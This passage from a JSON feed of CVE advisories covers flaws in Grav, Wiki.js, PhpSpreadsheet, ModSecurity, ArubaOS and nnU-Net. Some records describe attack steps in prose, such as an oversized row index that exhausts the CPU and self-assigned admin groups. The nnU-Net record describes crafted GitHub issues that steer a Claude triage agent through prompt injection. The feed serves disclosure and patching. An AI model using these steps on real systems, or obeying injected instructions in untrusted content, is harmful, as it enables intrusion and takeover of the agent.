fixes.","publishedAt":"2026-05-12T22:16:35.067Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"espressif","product":"arduino-esp32","stacks":["Espressif","arduino-esp32"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42855","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42855","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42855","type":"primary","publishedAt":"2026-05-12T22:16:35.067Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/espressif/arduino-esp32/security/advisories/GHSA-28hv-fwm3-rpcq","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42844","cveId":"CVE-2026-42844","aliases":[],"kind":"vulnerability","title":"Grav is a file-based Web platform.","summary":"Grav is a file-based Web platform. In Grav 2.0.0-beta.2, a low-privileged authenticated API user with api.media.write can abuse /api/v1/blueprint-upload to write an arbitrary YAML file into user/accounts/, then log in as the newly created account with api.super privileges. This results in full administrative compromise of the Grav API. This vulnerability is fixed in API 1.0.0-beta.17.","detail":"Grav is a file-based Web platform. In Grav 2.0.0-beta.2, a low-privileged authenticated API user with api.media.write can abuse /api/v1/blueprint-upload to write an arbitrary YAML file into user/accounts/, then log in as the newly created account with api.super privileges. This results in full administrative compromise of the Grav API. This vulnerability is fixed in API 1.0.0-beta.17.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T22:16:34.793Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"getgrav","product":"grav","stacks":["Getgrav","grav"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42844","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42844","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42844","type":"primary","publishedAt":"2026-05-12T22:16:34.793Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/getgrav/grav/security/advisories/GHSA-6xx2-m8wv-756h","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42268","cveId":"CVE-2026-42268","aliases":[],"kind":"vulnerability","title":"ModSecurity is an open source, cross platform web application firewall (WAF) engine for Apache, IIS and Nginx.","summary":"ModSecurity is an open source, cross platform web application firewall (WAF) engine for Apache, IIS and Nginx. From 3.0.0 to before 3.0.15, there is an unhandled exception (std::out_of_range) caused by unsigned integer underflow in libmodsecurity3 if the user (administrator) uses a rule any of @verifySSN, @verifyCPF, or @verifySVNR. This vulnerability is fixed in 3.0.15.","detail":"ModSecurity is an open source, cross platform web application firewall (WAF) engine for Apache, IIS and Nginx. From 3.0.0 to before 3.0.15, there is an unhandled exception (std::out_of_range) caused by unsigned integer underflow in libmodsecurity3 if the user (administrator) uses a rule any of @verifySSN, @verifyCPF, or @verifySVNR. This vulnerability is fixed in 3.0.15.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T22:16:34.337Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"owasp","product":"modsecurity","stacks":["Nginx","modsecurity"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42268","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42268","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42268","type":"primary","publishedAt":"2026-05-12T22:16:34.337Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/owasp-modsecurity/ModSecurity/security/advisories/GHSA-vwr3-7x7g-7p9w","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-40902","cveId":"CVE-2026-40902","aliases":[],"kind":"vulnerability","title":"PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files.","summary":"PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Prior to 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0, the XLSX reader's ColumnAndRowAttributes::readRowAttributes() method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a minimal XLSX file (~1.6KB) containing a <row r=\"999999999\"/> element that inflates cachedHighestRow to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources. This vulnerability is fixed in 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0.","detail":"PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Prior to 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0, the XLSX reader's ColumnAndRowAttributes::readRowAttributes() method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a minimal XLSX file (~1.6KB) containing a <row r=\"999999999\"/> element that inflates cachedHighestRow to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources. This vulnerability is fixed in 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T22:16:33.923Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"phpoffice","product":"phpspreadsheet","stacks":["Phpoffice","phpspreadsheet"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40902","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-40902","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40902","type":"primary","publishedAt":"2026-05-12T22:16:33.923Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-7c6m-4442-2x6m","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-40863","cveId":"CVE-2026-40863","aliases":[],"kind":"vulnerability","title":"PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files.","summary":"PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Prior to 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0, the SpreadsheetML XML reader (Reader\\Xml) does not validate the ss:Index row attribute against the maximum allowed row count (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a SpreadsheetML XML file with ss:Index=\"999999999\" on a <Row> element, which inflates the internal cachedHighestRow to ~1 billion. Any subsequent call to getRowIterator() without an explicit end row will attempt to iterate ~1 billion rows, causing CPU exhaustion and denial of service. This vulnerability is fixed in 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0.","detail":"PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Prior to 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0, the SpreadsheetML XML reader (Reader\\Xml) does not validate the ss:Index row attribute against the maximum allowed row count (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a SpreadsheetML XML file with ss:Index=\"999999999\" on a <Row> element, which inflates the internal cachedHighestRow to ~1 billion. Any subsequent call to getRowIterator() without an explicit end row will attempt to iterate ~1 billion rows, causing CPU exhaustion and denial of service. This vulnerability is fixed in 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T22:16:33.783Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"phpoffice","product":"phpspreadsheet","stacks":["Phpoffice","phpspreadsheet"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40863","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-40863","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40863","type":"primary","publishedAt":"2026-05-12T22:16:33.783Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-84wq-86v6-x5j6","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44246","cveId":"CVE-2026-44246","aliases":[],"kind":"vulnerability","title":"nnU-Net is a semantic segmentation framework that automatically adapts its pipeline to a dataset.","summary":"nnU-Net is a semantic segmentation framework that automatically adapts its pipeline to a dataset. Prior to 2.4.1, the nnU-Net Issue Triage workflow in .github/workflows/issue-triage.yml is vulnerable to Agentic Workflow Injection. The workflow sets allowed_non_write_users: ${{ github.event.issue.user.login }}, which means any logged-in GitHub user who opens an issue can reach this agentic workflow with attacker-controlled content. Untrusted issue title and body content are embedded directly into the prompt of anthropics/claude-code-action, and the workflow then runs a command-capable Claude agent with permission to comment on and relabel the current issue via gh. Because this workflow is triggered automatically on issues.opened, an external attacker can submit a crafted issue that steers the agent beyond its intended issue-triage purpose and influences authenticated issue actions. This vulnerability is fixed in 2.4.1.","detail":"nnU-Net is a semantic segmentation framework that automatically adapts its pipeline to a dataset. Prior to 2.4.1, the nnU-Net Issue Triage workflow in .github/workflows/issue-triage.yml is vulnerable to Agentic Workflow Injection. The workflow sets allowed_non_write_users: ${{ github.event.issue.user.login }}, which means any logged-in GitHub user who opens an issue can reach this agentic workflow with attacker-controlled content. Untrusted issue title and body content are embedded directly into the prompt of anthropics/claude-code-action, and the workflow then runs a command-capable Claude agent with permission to comment on and relabel the current issue via gh. Because this workflow is triggered automatically on issues.opened, an external attacker can submit a crafted issue that steers the agent beyond its intended issue-triage purpose and influences authenticated issue actions. This vulnerability is fixed in 2.4.1.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T21:16:16.543Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"dkfz","product":"nnu-net","stacks":["Dkfz","nnu-net"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44246","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44246","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44246","type":"primary","publishedAt":"2026-05-12T21:16:16.543Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/MIC-DKFZ/nnUNet/security/advisories/GHSA-63mx-j37w-gh59","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44224","cveId":"CVE-2026-44224","aliases":[],"kind":"vulnerability","title":"Wiki.js is an open source wiki app built on Node.js.","summary":"Wiki.js is an open source wiki app built on Node.js. Prior to 2.5.313, the users.update GraphQL mutation accepts an arbitrary groups array and applies it directly to the database with no validation of the group IDs supplied. The resolver passes the caller's arguments straight to the model without any ownership check or restriction on which groups can be assigned. A user with manage:users — a permission typically delegated to wiki moderators for account management — can set groups:[1] on their own account to self-assign to the Administrators group. After re-authentication, the fresh JWT carries manage:system, granting full site administrator access in a single mutation call. This vulnerability is fixed in 2.5.313.","detail":"Wiki.js is an open source wiki app built on Node.js. Prior to 2.5.313, the users.update GraphQL mutation accepts an arbitrary groups array and applies it directly to the database with no validation of the group IDs supplied. The resolver passes the caller's arguments straight to the model without any ownership check or restriction on which groups can be assigned. A user with manage:users — a permission typically delegated to wiki moderators for account management — can set groups:[1] on their own account to self-assign to the Administrators group. After re-authentication, the fresh JWT carries manage:system, granting full site administrator access in a single mutation call. This vulnerability is fixed in 2.5.313.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T21:16:16.137Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"requarks","product":"wiki.js","stacks":["Node.js","wiki.js"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44224","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44224","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44224","type":"primary","publishedAt":"2026-05-12T21:16:16.137Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/requarks/wiki/security/advisories/GHSA-cq3g-mwrg-v2rv","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44872","cveId":"CVE-2026-44872","aliases":[],"kind":"vulnerability","title":"A command injection vulnerability exists in the web-based management interface of AOS-8 and AOS-10 Operating Systems.","summary":"A command injection vulnerability exists in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation could allow an authenticated remote attacker to place arbitrary files on the underlying filesystem of the affected device.","detail":"A command injection vulnerability exists in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation could allow an authenticated remote attacker to place arbitrary files on the underlying filesystem of the affected device.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:45.793Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"arubanetworks","product":"arubaos","stacks":["Arubanetworks","arubaos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44872","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44872","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44872","type":"primary","publishedAt":"2026-05-12T20:16:45.793Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44870","cveId":"CVE-2026-44870","aliases":[],"kind":"vulnerability","title":"Command injection vulnerabilities exist in the command line interface (CLI) service accessed by the PAPI protocol of AOS-8 and AOS-10 Operating Systems.","summary":"Command injection vulnerabilities exist in the command line interface (CLI) service accessed by the PAPI protocol of AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system.","detail":"Command injection vulnerabilities exist in the command line interface (CLI) service accessed by the PAPI protocol of AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:45.690Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"arubanetworks","product":"arubaos","stacks":["Arubanetworks","arubaos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44870","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44870","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44870","type":"primary","publishedAt":"2026-05-12T20:16:45.690Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44869","cveId":"CVE-2026-44869","aliases":[],"kind":"vulnerability","title":"Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems.","summary":"Command injection vulnerabilities exist in the web-based management interface of 